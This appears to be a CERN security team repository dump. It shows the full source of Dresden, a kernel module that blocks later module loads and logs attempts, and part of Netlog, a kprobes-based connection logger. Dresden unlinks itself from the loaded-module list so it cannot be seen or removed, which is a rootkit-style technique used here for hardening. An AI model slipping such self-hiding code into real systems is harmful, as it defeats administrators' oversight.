├── .gitattributes
├── .gitignore
├── dresden
├── .gitignore
├── LICENSE
├── readme.markdown
└── src
│ ├── Makefile
│ ├── dresden_core.c
│ ├── module_notifier_event.c
│ ├── module_notifier_event.h
│ ├── proc_entry.c
│ └── proc_entry.h
├── netlog
├── .gitignore
├── LICENSE
├── readme.markdown
└── src
│ ├── Makefile
│ ├── connection.c
│ ├── connection.h
│ ├── inet_utils.c
│ ├── inet_utils.h
│ ├── netlog.h
│ ├── probes.c
│ ├── proc_config.c
│ ├── proc_config.h
│ ├── whitelist.c
│ └── whitelist.h
├── readme.markdown
└── the-drip-dry-carbonite
├── .gitignore
├── LICENSE
├── docs
├── README
├── jones2.pdf
└── presentation.pdf
├── readme.markdown
├── src
├── Makefile
├── attacks
│ └── sys-call-table-hijacker
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── my-kallsyms.c
│ │ ├── my-kallsyms.h
│ │ └── sys-call-table-hijacker.c
├── carbonite.c
├── carbonite.h
├── command-chrdev.c
├── command-chrdev.h
├── logger.c
├── logger.h
├── my-kallsyms.c
├── my-kallsyms.h
├── proc-entry.c
├── proc-entry.h
├── super-fast-hash.c
├── super-fast-hash.h
├── sys-call-table-integrity-check.c
├── sys-call-table-integrity-check.h
├── task-dump-list.c
├── task-dump-list.h
├── task-dump-seq-file.c
├── task-dump-seq-file.h
├── task-dump.c
├── task-dump.h
├── task-utils.c
└── task-utils.h
└── utils
├── Makefile
├── install
├── trigger-carbonite.c
└── uninstall
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Object files
2 | *.o
3 | *.ko
4 | *.obj
5 | *.elf
6 |
7 | # Precompiled Headers
8 | *.gch
9 | *.pch
10 |
11 | # Libraries
12 | *.lib
13 | *.a
14 | *.la
15 | *.lo
16 |
17 | # Shared objects (inc. Windows DLLs)
18 | *.dll
19 | *.so
20 | *.so.*
21 | *.dylib
22 |
23 | # Executables
24 | *.exe
25 | *.out
26 | *.app
27 | *.i*86
28 | *.x86_64
29 | *.hex
30 |
31 | # =========================
32 | # Operating System Files
33 | # =========================
34 |
35 | # OSX
36 | # =========================
37 |
38 | .DS_Store
39 | .AppleDouble
40 | .LSOverride
41 |
42 | # Thumbnails
43 | ._*
44 |
45 | # Files that might appear on external disk
46 | .Spotlight-V100
47 | .Trashes
48 |
49 | # Directories potentially created on remote AFP share
50 | .AppleDB
51 | .AppleDesktop
52 | Network Trash Folder
53 | Temporary Items
54 | .apdisk
55 |
56 | # Windows
57 | # =========================
58 |
59 | # Windows image file caches
60 | Thumbs.db
61 | ehthumbs.db
62 |
63 | # Folder config file
64 | Desktop.ini
65 |
66 | # Recycle Bin used on file shares
67 | $RECYCLE.BIN/
68 |
69 | # Windows Installer files
70 | *.cab
71 | *.msi
72 | *.msm
73 | *.msp
74 |
75 | # Windows shortcuts
76 | *.lnk
77 |
--------------------------------------------------------------------------------
/dresden/.gitignore:
--------------------------------------------------------------------------------
1 | # Files to ignore
2 |
3 | # Vi swap files
4 | .*.swp
5 |
6 | *.tgz
7 | *.tar.gz
8 | *.rpm
9 |
10 | .*
11 | !.gitignore
12 | *.o
13 | *.o.*
14 | *.ko
15 | *.ko.*
16 | *.mod.c
17 | *.order
18 | Module.symvers
19 | Module.markers
20 | rpms
21 |
22 |
--------------------------------------------------------------------------------
/dresden/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (C) 2011 CERN
2 |
3 | This program is free software: you can redistribute it and/or modify
4 | it under the terms of the GNU General Public License as published by
5 | the Free Software Foundation, either version 3 of the License, or
6 | (at your option) any later version.
7 |
8 | This program is distributed in the hope that it will be useful,
9 | but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | GNU General Public License for more details.
12 |
13 | You should have received a copy of the GNU General Public License
14 | along with this program. If not, see .
15 |
--------------------------------------------------------------------------------
/dresden/readme.markdown:
--------------------------------------------------------------------------------
1 | # Dresden
2 |
3 | Dresden is a kernel module that will log emergency messages for every attempt of inserting or removing a kernel module.
4 | Also, it will block the insertion of every kernel module, by replacing the init functio of the (wannabe) incoming module
5 | with a function crafted for failure. After deploying dresden, you will not be able to remove it. It will delete itself from
6 | the list of the loaded kernel modules.
7 |
8 | # Kernels tested against
9 |
10 | 2.6.18 up to 3.4.9
11 |
12 | # How to use
13 |
14 | In the src directory run:
15 |
16 | make
17 |
18 | Then run:
19 |
20 | insmod ./dresden.ko
21 |
22 | # Format of log messages
23 |
24 | ````
25 | Jul 9 13:36:05 kmod-testing kernel: dresden: Kernel module insertion blocker and action notifier by CERN Security Team
26 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] Future loading of kernel modules will be prevented
27 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] Emergency messages will be logged in case of trying to load or unload a module
28 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] You are not able to remove this module
29 |
30 | Trying to insert a module:
31 |
32 | [root@kmod-testing netlog]# insmod ./netlog.ko
33 |
34 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ...
35 | kernel:dresden: event: MODULE_STATE_COMING name: netlog init: 0xffffffffa0038000 size of init (text + data) 0x137e core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8
36 |
37 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ...
38 | kernel:dresden: New module is th name netlog. Its functionality will be disabled
39 |
40 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ...
41 | kernel:dresden: event: MODULE_STATE_GOING name: netlog core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8
42 | insmod: error inserting './netlog.ko': -1 Operation not permitted
43 | [root@kmod-testing netlog]#
44 |
45 | Jul 9 13:36:52 kmod-testing kernel: dresden: event: MODULE_STATE_COMING name: netlog init: 0xffffffffa0038000 size of init (text + data) 0x137e core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8
46 | Jul 9 13:36:52 kmod-testing kernel: dresden: New module is th name netlog. Its functionality will be disabled
47 | Jul 9 13:36:52 kmod-testing kernel: Module insertion blocked by CERN's dresden
48 | Jul 9 13:36:52 kmod-testing kernel: dresden: event: MODULE_STATE_GOING name: netlog core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8
49 | ````
50 |
51 | *You cannot remove dresden after insertion.*
52 |
53 | # License
54 |
55 | Copyright 2012 CERN. This software is distributed under the terms of the GNU General Public
56 | Licence version 3 (GPL Version 3), copied verbatim in the file COPYING. In applying this licence,
57 | CERN does not waive the privileges and immunities granted to it by virtue of its status as an
58 | Intergovernmental Organization or submit itself to any jurisdiction.
59 |
--------------------------------------------------------------------------------
/dresden/src/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Variables needed to build the kernel module
3 | #
4 | name = dresden
5 | src_files = dresden_core.c module_notifier_event.c proc_entry.c
6 |
7 | obj-m += $(name).o
8 | $(name)-objs := $(src_files:.c=.o)
9 |
10 | all: build
11 |
12 | .PHONY: build install clean
13 |
14 | clean: clean
15 |
16 | build:
17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y
18 |
19 | install:
20 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules_install CONFIG_DEBUG_SECTION_MISMATCH=y
21 |
22 | clean:
23 | [ -d /lib/modules/$(shell uname -r)/build ] && \
24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
25 |
26 |
--------------------------------------------------------------------------------
/dresden/src/dresden_core.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "module_notifier_event.h"
4 | #include "proc_entry.h"
5 |
6 | #define MODULE_NAME "dresden"
7 | #define DRESDEN_OK 0
8 |
9 | int show_proc_entry = 0;
10 | module_param(show_proc_entry, int, 0000);
11 | MODULE_PARM_DESC(show_proc_entry, "Set to non zero value if you want to create the /proc/dresden entry in order to know if dresden is loaded. Default is to 0");
12 |
13 | static int __init dresden_engage(void)
14 | {
15 | register_module_notifier_event_handler();
16 |
17 | /* Hide ourselves */
18 |
19 | list_del(&THIS_MODULE->list);
20 |
21 | printk(KERN_INFO MODULE_NAME ": Kernel module insertion blocker and action notifier by CERN Security Team\n");
22 | printk(KERN_INFO MODULE_NAME ":\t[+] Future loading of kernel modules will be prevented\n");
23 | printk(KERN_INFO MODULE_NAME ":\t[+] Emergency messages will be logged in case of trying to load or unload a module\n");
24 | printk(KERN_INFO MODULE_NAME ":\t[+] You are not able to remove this module\n");
25 |
26 | if(show_proc_entry)
27 | {
28 | int err;
29 |
30 | err = init_proc_entry();
31 |
32 | if(err == PROC_CREATED)
33 | {
34 | printk(KERN_INFO MODULE_NAME ":\t[+] Created /proc/dresden entry\n");
35 | }
36 | else
37 | {
38 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create /proc/dresden entry\n");
39 | }
40 | }
41 |
42 | return DRESDEN_OK;
43 | }
44 |
45 | module_init(dresden_engage);
46 |
47 | MODULE_AUTHOR("Panos Sakkos ");
48 | MODULE_DESCRIPTION("Block incoming modules and log emergency alerts in case of trying to insert\n"
49 | "\t\t a new module or removing an existing one");
50 | MODULE_LICENSE("GPL");
51 |
--------------------------------------------------------------------------------
/dresden/src/module_notifier_event.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "module_notifier_event.h"
5 |
6 | int fail(void)
7 | {
8 | printk(KERN_INFO "Module insertion blocked by CERN's dresden\n");
9 |
10 | return -1;
11 | }
12 |
13 | static int dresden_module_handler(struct notifier_block *this, unsigned long event, void *pointer)
14 | {
15 | unsigned long flags;
16 | struct module *new_module;
17 | DEFINE_SPINLOCK(module_event_spinlock);
18 |
19 | spin_lock_irqsave(&module_event_spinlock, flags);
20 |
21 | new_module = pointer;
22 |
23 | switch(new_module->state)
24 | {
25 | case(MODULE_STATE_COMING):
26 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_COMING name: %s init: 0x%p size of init (text + data)\
27 | 0x%x core: 0x%p size of core (text + data) 0x%x\n",
28 | new_module->name, new_module->init, new_module->init_size,
29 | new_module->module_core, new_module->core_size);
30 | new_module->init = fail;
31 |
32 | printk(KERN_EMERG MODULE_NAME ": New module is th name %s. Its functionality will be disabled\n", new_module->name);
33 | break;
34 | case(MODULE_STATE_LIVE):
35 | if(new_module == THIS_MODULE)
36 | {
37 | /* Skip reporting of ourselves */
38 |
39 | break;
40 | }
41 |
42 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_LIVE name: %s core: 0x%p size of core (text + data) 0x%x\n",
43 | new_module->name, new_module->module_core, new_module->core_size);
44 | break;
45 | case(MODULE_STATE_GOING):
46 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_GOING name: %s core: 0x%p size of core (text + data) 0x%x\n",
47 | new_module->name, new_module->module_core, new_module->core_size);
48 | break;
49 | default:
50 | printk(KERN_ERR MODULE_NAME ": ERROR unknown module state in notifier chain for %s module\n", new_module->name);
51 | break;
52 | }
53 |
54 | spin_unlock_irqrestore(&module_event_spinlock, flags);
55 | return NOTIFY_DONE;
56 | }
57 |
58 | static struct notifier_block module_notifier_block =
59 | {
60 | .notifier_call = dresden_module_handler,
61 | .priority = INT_MAX
62 | };
63 |
64 | void register_module_notifier_event_handler(void)
65 | {
66 | register_module_notifier(&module_notifier_block);
67 | }
68 |
69 |
--------------------------------------------------------------------------------
/dresden/src/module_notifier_event.h:
--------------------------------------------------------------------------------
1 | #ifndef __MODULE_NOTIFIER_EVENT__
2 | #define __MODULE_NOTIFIER_EVENT__
3 |
4 | #define MODULE_NAME "dresden"
5 |
6 | void register_module_notifier_event_handler(void);
7 |
8 | #endif
9 |
--------------------------------------------------------------------------------
/dresden/src/proc_entry.c:
--------------------------------------------------------------------------------
1 | #include "proc_entry.h"
2 | #include
3 |
4 | struct proc_dir_entry *dresden_proc_entry;
5 |
6 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data)
7 | {
8 | if(offset > 0)
9 | {
10 | /* Nothing else to do */
11 |
12 | return 0;
13 | }
14 | else
15 | {
16 | /* Just return '1' to say that dresden is deployed */
17 |
18 | return sprintf(buffer, "1\n");
19 | }
20 | }
21 |
22 |
23 | int init_proc_entry(void)
24 | {
25 | if(dresden_proc_entry != NULL)
26 | {
27 | return PROC_ENTRY_EXISTS;
28 | }
29 |
30 | dresden_proc_entry = create_proc_entry(PROC_FS_NAME, 0444, NULL);
31 |
32 | if(dresden_proc_entry == NULL)
33 | {
34 | return -ECREATE_PROC_ENTRY;
35 | }
36 |
37 | dresden_proc_entry->read_proc = procfile_read;
38 | dresden_proc_entry->mode = S_IFREG | S_IRUGO;
39 | dresden_proc_entry->uid = 0;
40 | dresden_proc_entry->gid = 0;
41 | dresden_proc_entry->size = 1;
42 |
43 | return PROC_CREATED;
44 | }
45 |
46 |
--------------------------------------------------------------------------------
/dresden/src/proc_entry.h:
--------------------------------------------------------------------------------
1 | #ifndef __PROC_ENRTY__
2 | #define __PROC_ENRTY__
3 |
4 | #define PROC_FS_NAME "dresden"
5 |
6 | #define PROC_CREATED 1
7 | #define PROC_ENTRY_EXISTS 2
8 | #define ECREATE_PROC_ENTRY 3
9 |
10 | int init_proc_entry(void);
11 |
12 | #endif
13 |
--------------------------------------------------------------------------------
/netlog/.gitignore:
--------------------------------------------------------------------------------
1 | # Files to ignore
2 |
3 | # Vi swap files
4 | .*.swp
5 |
6 | *.tgz
7 | *.tar.gz
8 | *.rpm
9 |
10 | .*
11 | !.gitignore
12 | *.o
13 | *.o.*
14 | *.ko
15 | *.ko.*
16 | *.mod.c
17 | *.order
18 | Module.symvers
19 | Module.markers
20 | rpms
21 |
--------------------------------------------------------------------------------
/netlog/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (C) 2011 CERN
2 |
3 | This program is free software: you can redistribute it and/or modify
4 | it under the terms of the GNU General Public License as published by
5 | the Free Software Foundation, either version 3 of the License, or
6 | (at your option) any later version.
7 |
8 | This program is distributed in the hope that it will be useful,
9 | but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | GNU General Public License for more details.
12 |
13 | You should have received a copy of the GNU General Public License
14 | along with this program. If not, see .
15 |
--------------------------------------------------------------------------------
/netlog/readme.markdown:
--------------------------------------------------------------------------------
1 | # Netlog
2 |
3 | Netlog is a Loadable Kernel Module that logs information for every connection on the hosted machine.
4 | By utilizing the kprobes API, it probes the connect and accept system calls ,for TCP connections,
5 | as well as the bind system call, for UDP connections, and the socket destruction.
6 | While probing, it logs the process name and process id, the user id that owns this process, the protocol
7 | (TCP/UDP), the local IP address and port as well as the remote IP address and port.
8 |
9 | For UDP, it tracks only the bind system call, because UDP is a connectionless protocol,
10 | so the other approach was to track the packet communication, something that would
11 | add a lot of overhead. In order to compile the code that tracks UDP, you
12 | have to change the symbolic constant (PROBE_UDP) that it's defined in the netlog header (netlog.h) from
13 | zero (0) to a non-zero value (i.e. 1) and recompile netlog.
14 |
15 | netlog also tracks the destruction of the sockets. This is done by probing the
16 | inet_shutdown kernel call, which is called after the close system call is called.
17 | In order to compile the code that tracks the connection close, you need to change the value of the
18 | symbolic constant (PROBE_CONNECTION_CLOSE) that is defined in the netlog header file (netlog.h) from
19 | zero (0) to a non-zero value (i.e. 1) and recompile netlog.
20 |
21 | # Kernels tested against
22 |
23 | 2.6.18 up to 3.4.9
24 |
25 | # Change Log
26 |
27 | 1.30
28 | *On the fly configuration of the whitelist
29 |
30 | 1.12
31 | *Optimizations
32 | *Dynamic Whitelisting
33 | 1.15
34 | *Whitelisting of ip addresses and ports
35 | *Absolute path mode
36 | 1.16
37 | *Basic checks on given ip addresses and ports
38 |
39 | # Dynamic Whitelisting
40 |
41 | netlog offers whitelisting of connections at insertion time. This is done by passing parameters to the module.
42 | The parameter is named connections_to_whitelist and it's an array of strings with the following format:
43 |
44 | "/absolute/execution/path|i|p"
45 |
46 | i.e.:
47 | "/usr/sbin/sshd|i<127.128.0.0>|p<22>"
48 | "/usr/sbin/sshd|i<127.128.0.0>"
49 | "/usr/sbin/sshd|p<22>"
50 | "/usr/sbin/sshd"
51 |
52 | The '<' and '>' can be ignored, they are supported just for visual reasons.
53 |
54 | Example of whitelisting multiple connections:
55 |
56 | insmod netlog.ko connections_to_whitelist="/usr/bin/skype","/usr/bin/ssh|i<127.0.0.1>","/usr/bin/sshd|i<127.0.0.1>|p<22>"
57 |
58 | Note that you are not able to whitelist an ip address or port without specifing an absolute
59 | execution path of a binary. Also, you can whitelist up to 150 connections. For more, change
60 | the symbolic constant MAX_WHITELIST_SIZE in whitelist.h and recompile netlog.
61 | Do not leave spaces between the comma separators and the strings because the parameter array will not be initialized.
62 |
63 | If you believe that you will not need whitelisting at all, we recommend you to compile netlog with disabled the whitelisting
64 | in order to boost even more its perfomance. In order to not compile the code of whitelisting, change the static constant
65 | WHITELISTING to 0 in netlog.h file and recompile netlog.
66 |
67 | # On the fly configuration of the whitelist
68 |
69 | The process of whitelisting (described in "Dynamic Whitelisting" section) can be done also while netlog is planted.
70 | If you want to change the whitelist when netlog is planted, there is no need to remove the module and insert
71 | it again with the updated whitelist information passed as insertion parameters. This can be done by editing the
72 | /proc/config-netlog proc file. This file contains per line the currently whitelisted connections.
73 |
74 | i.e. if you want to whitelist the next connections, after insertion of netlog:
75 |
76 | "/usr/bin/skype", "/usr/bin/ssh|i<127.0.0.1>" and "/usr/sbin/sshd|i<127.0.0.1>|p<22>"
77 |
78 | You should execute in a bash shell:
79 |
80 | echo "/usr/bin/skype,/usr/bin/ssh|i<127.0.0.1>,/usr/sbin/sshd|i<127.0.0.1>|p<22>" > /proc/netlog_config
81 |
82 | * **************************************WARNING**************************************** *
83 | * *
84 | * Do not edit the proc_config entry with a text editor or try to replace it etc. *
85 | * Just echo the connection strings that describes the connections you want to whitelist,*
86 | * separated by the comma character and NOTHING MORE (not even a space). *
87 | * Also do not try to append the proc file. *
88 | * *
89 | * For the format of the connection string read the "Dynamic Whitelisting" section above.*
90 | * ************************************************************************************* *
91 |
92 | netlog will log the changes of the whitelist:
93 |
94 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262471] netlog-config: [+] Cleared whitelist
95 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262479] netlog-config: [+] Whitelisted /usr/sbin/skype
96 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262483] netlog-config: [+] Whitelisted /usr/bin/ssh|i<127.0.0.1>
97 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262486] netlog-config: [+] Whitelisted /usr/sbin/sshd|i<127.0.0.1>
98 |
99 | # Absolute Path Mode
100 |
101 | The absolute path mode is activated by passing a non zero value to the absolute_path_mode parameter.
102 |
103 | i.e.:
104 | insmod netlog.ko absolute_path_mode=1
105 |
106 | Absolute path mode will log the absolute execution path instead of the process name.
107 | This will be helpfull in case that you want to see the absolute execution path of a connection that
108 | you want to whitelist.
109 |
110 | # Format of log messages
111 |
112 | TCP connect:
113 | Dec 19 14:03:17 panos-PC kernel: netlog: http[3206] TCP 137.138.191.167:52507 -> 130.59.10.36:80 (uid=0)
114 |
115 | TCP accept:
116 | Dec 19 14:18:37 panos-PC kernel: netlog: sshd[827] TCP 137.138.191.167:22 <- 137.138.32.18:49904 (uid=0)
117 |
118 | UDP binds:
119 | Dec 19 14:22:50 panos-PC kernel: netlog: skype[4261] UDP bind 127.0.0.1:0 (uid=1000)
120 | Dec 19 14:22:50 panos-PC kernel: netlog: skype[4261] UDP bind (any IP address):2752 (uid=1000)
121 |
122 | Connection close:
123 | Dec 19 14:19:07 panos-PC kernel: netlog: sshd[3755] TCP 137.138.191.167:22 <-> 137.138.32.18:49904 (uid=0)
124 |
125 | # How to use
126 |
127 | In the src directory run:
128 |
129 | make
130 |
131 | Then run:
132 |
133 | insmod netlog.ko
134 |
135 | in order to insert the module in the kernel.
136 | And in order to remove it, run:
137 |
138 | rmmod netlog
139 |
140 | # License
141 |
142 | Copyright 2011 CERN. This software is distributed under the terms of the GNU General Public
143 | Licence version 3 (GPL Version 3), copied verbatim in the file COPYING. In applying this licence,
144 | CERN does not waive the privileges and immunities granted to it by virtue of its status as an
145 | Intergovernmental Organization or submit itself to any jurisdiction.
146 |
147 | # References
148 |
149 | [Kernel instrumentation using kprobes](http://www.phrack.org/issues.html?issue=67&id=6)
150 |
--------------------------------------------------------------------------------
/netlog/src/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Variables needed to build the kernel module
3 | #
4 | name = netlog
5 | src_files = inet_utils.c probes.c whitelist.c connection.c proc_config.c
6 |
7 | obj-m += $(name).o
8 | $(name)-objs := $(src_files:.c=.o)
9 |
10 | all: build
11 |
12 | .PHONY: build install clean
13 |
14 | build: clean
15 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y
16 |
17 | install: build
18 | -mkdir -p /lib/modules/`uname -r`/kernel/arch/x86/kernel/
19 | cp $(name).ko /lib/modules/`uname -r`/kernel/arch/x86/kernel/
20 | depmod /lib/modules/`uname -r`/kernel/arch/x86/kernel/$(name).ko
21 |
22 | clean:
23 | [ -d /lib/modules/$(shell uname -r)/build ] && \
24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
25 |
26 |
--------------------------------------------------------------------------------
/netlog/src/connection.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "connection.h"
4 | #include "whitelist.h"
5 | #include "inet_utils.h"
6 |
7 | #ifndef INET6_ADDRSTRLEN
8 | #define INET6_ADDRSTRLEN 48
9 | #endif
10 |
11 | struct connection
12 | {
13 | int port;
14 | char ip[INET6_ADDRSTRLEN + 2];
15 | char executable[MAX_ABSOLUTE_EXEC_PATH + 1];
16 | };
17 |
18 | struct connection *initialize_connection(void)
19 | {
20 | struct connection *new_connection = NULL;
21 |
22 | new_connection = kmalloc(sizeof(struct connection), GFP_ATOMIC);
23 |
24 | if(new_connection == NULL)
25 | {
26 | return NULL;
27 | }
28 |
29 | memset(new_connection->executable, '\0', sizeof(new_connection->executable));
30 | memset(new_connection->ip, '\0', sizeof(new_connection->ip));
31 | new_connection->port = NO_PORT;
32 |
33 | return new_connection;
34 | }
35 |
36 | /*Initialize a struct connection from a given string.
37 | *The string must have the format "/absolute/path|i|p"
38 | *
39 | *i.e. "/usr/bin/sshd|i<127.128.0.0>|p<22>"
40 | * "/usr/bin/sshd|i<127.128.0.0>"
41 | * "/usr/bin/sshd|p<22>"
42 | * "/usr/bin/sshd"
43 | *
44 | *The '<' and '>' can be ignored, they are supported just for visual reasons.
45 | *
46 | *The implementation contains a little bit of magic. Sorry! Panos
47 | */
48 |
49 | struct connection *initialize_connection_from_string(const char *connection_string)
50 | {
51 | int i;
52 | const char *ch;
53 | struct connection *new_connection = NULL;
54 |
55 | if(connection_string == NULL)
56 | {
57 | goto out_fail;
58 | }
59 |
60 | new_connection = initialize_connection();
61 |
62 | if(new_connection == NULL)
63 | {
64 | goto out_fail;
65 | }
66 |
67 | /*First field has to be a path*/
68 |
69 | i = 0;
70 | ch = connection_string;
71 |
72 | while(*ch != FIELD_SEPARATOR && *ch != '\0')
73 | {
74 | new_connection->executable[i] = *ch;
75 | ch++;
76 | i++;
77 |
78 | /*Too big path, fail to whitelist*/
79 |
80 | if(i >= MAX_ABSOLUTE_EXEC_PATH)
81 | {
82 | goto out_fail;
83 | }
84 | }
85 |
86 | new_connection->executable[i] = '\0';
87 |
88 | /*Skip the field separator, if any*/
89 |
90 | if(*ch == FIELD_SEPARATOR)
91 | {
92 | ch++;
93 | }
94 |
95 | /*Case of next field being an ip address*/
96 |
97 | if(*ch == 'i')
98 | {
99 | /*If the ip is IPv6, we will add square brackets in the beginning and in
100 | *the end. This is done in order to make right comparison between ipv6
101 | *addresses. The inet_utils functions return ipv6 addresses within square
102 | *brackets.
103 | */
104 |
105 | int ipv6 = looks_like_ipv6(ch);
106 |
107 | ch++;
108 |
109 | /*Skip '<', if any*/
110 |
111 | if(*ch == '<')
112 | {
113 | ch++;
114 | }
115 |
116 | i = 0;
117 |
118 | if(ipv6)
119 | {
120 | /*Add opening square bracket*/
121 |
122 | new_connection->ip[0] = '[';
123 | i++;
124 | }
125 |
126 | while(*ch != '>' && *ch != '\0' && *ch != FIELD_SEPARATOR)
127 | {
128 | new_connection->ip[i] = *ch;
129 | ch++;
130 | i++;
131 |
132 | /*Too big ip, fail to whitelist*/
133 |
134 | if(i >= INET6_ADDRSTRLEN + 1)
135 | {
136 | goto out_fail;
137 | }
138 | }
139 |
140 | if(ipv6)
141 | {
142 | /*Add closing square bracket*/
143 |
144 | new_connection->ip[i] = ']';
145 | i++;
146 | }
147 |
148 | new_connection->ip[i] = '\0';
149 | ch++;
150 |
151 | if(!looks_like_valid_ip(new_connection->ip))
152 | {
153 | goto out_fail;
154 | }
155 |
156 | }
157 |
158 | /*Skip the field separator, if any*/
159 |
160 | if(*ch == FIELD_SEPARATOR)
161 | {
162 | ch++;
163 | }
164 |
165 | /*Case of next field being a port number*/
166 |
167 | if(*ch == 'p')
168 | {
169 | int base = 1;
170 | const char *number_start;
171 |
172 | ch++;
173 |
174 | /*Skip '<', if any*/
175 |
176 | if(*ch == '<')
177 | {
178 | ch++;
179 | }
180 |
181 | number_start = ch;
182 |
183 | /*Go to end of number*/
184 |
185 | while(*ch != '>' && *ch != '\0' && *ch != FIELD_SEPARATOR)
186 | {
187 | ch++;
188 | }
189 | ch--;
190 |
191 | new_connection->port = 0;
192 |
193 | while(ch >= number_start)
194 | {
195 | new_connection->port += (*ch - '0') * base;
196 | base *= 10;
197 | ch--;
198 | }
199 |
200 | if(!valid_port_number(new_connection->port))
201 | {
202 | goto out_fail;
203 | }
204 | }
205 |
206 | return new_connection;
207 |
208 | out_fail:
209 | destroy_connection(new_connection);
210 |
211 | return NULL;
212 | }
213 |
214 | int connection_matches_attributes(const struct connection *connection, const char *path, const char *ip, const int port)
215 | {
216 | if(unlikely(connection == NULL || path == NULL || ip == NULL))
217 | {
218 | return 0;
219 | }
220 |
221 | if(strncmp(connection->executable, path, MAX_ABSOLUTE_EXEC_PATH) != 0)
222 | {
223 | /*Executable path missmatch*/
224 |
225 | return 0;
226 | }
227 |
228 | if(connection->ip[0] != '\0' && ip[0] != '\0')
229 | {
230 | if(strncmp(connection->ip, ip, INET6_ADDRSTRLEN + 2) != 0)
231 | {
232 | /*IPs were given and didn't match*/
233 |
234 | return 0;
235 | }
236 | }
237 |
238 | if(connection->port != NO_PORT && port != NO_PORT)
239 | {
240 | if(connection->port != port)
241 | {
242 | /*Ports given and missmatched*/
243 |
244 | return 0;
245 | }
246 | }
247 |
248 | return 1;
249 | }
250 |
251 | int connections_are_equal(const struct connection *connection1, const struct connection *connection2)
252 | {
253 | if(connection1 == NULL || connection2 == NULL)
254 | {
255 | return 0;
256 | }
257 |
258 | return connection_matches_attributes(connection1, connection2->executable, connection2->ip, connection2->port);
259 | }
260 |
261 | void destroy_connection(struct connection *connection)
262 | {
263 | if(connection)
264 | {
265 | kfree(connection);
266 | }
267 | }
268 |
--------------------------------------------------------------------------------
/netlog/src/connection.h:
--------------------------------------------------------------------------------
1 | #ifndef __CONNECTION__
2 | #define __CONNECTION__
3 |
4 | #define MAX_LENGTH_OF_CONNECTION_STRING (5 + INET6_ADDRSTRLEN + 2 + MAX_ABSOLUTE_EXEC_PATH + 1 + 2 + 1)
5 |
6 | #define NO_PORT -1
7 |
8 | #define FIELD_SEPARATOR '|'
9 |
10 | struct connection;
11 |
12 | struct connection *initialize_connection_from_string(const char *connection_string);
13 |
14 | int connections_are_equal(const struct connection *connection1, const struct connection *connection2);
15 |
16 | int connection_matches_attributes(const struct connection *connection, const char *path, const char *ip, const int port);
17 |
18 | void destroy_connection(struct connection *connection);
19 |
20 | #endif
21 |
--------------------------------------------------------------------------------
/netlog/src/inet_utils.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "inet_utils.h"
6 |
7 | /* Needed in order to convert binary network address to readable.
8 | * these macros were existing in previous kernel versions but were removed.
9 | * NIPQUAD is for IPv4 and NIP6 for IPv6 addresses.
10 | */
11 |
12 | #ifndef NIPQUAD
13 | #define NIPQUAD(addr) \
14 | ((unsigned char *)&addr)[0], \
15 | ((unsigned char *)&addr)[1], \
16 | ((unsigned char *)&addr)[2], \
17 | ((unsigned char *)&addr)[3]
18 | #endif
19 |
20 | #ifndef NIP6
21 | #define NIP6(addr) \
22 | ntohs((addr).s6_addr16[0]), \
23 | ntohs((addr).s6_addr16[1]), \
24 | ntohs((addr).s6_addr16[2]), \
25 | ntohs((addr).s6_addr16[3]), \
26 | ntohs((addr).s6_addr16[4]), \
27 | ntohs((addr).s6_addr16[5]), \
28 | ntohs((addr).s6_addr16[6]), \
29 | ntohs((addr).s6_addr16[7])
30 | #endif
31 |
32 | #ifndef INET6_ADDRSTRLEN
33 | #define INET6_ADDRSTRLEN 48
34 | #endif
35 |
36 | #ifndef INET_ADDRSTRLEN
37 | #define INET_ADDRSTRLEN 16
38 | #endif
39 |
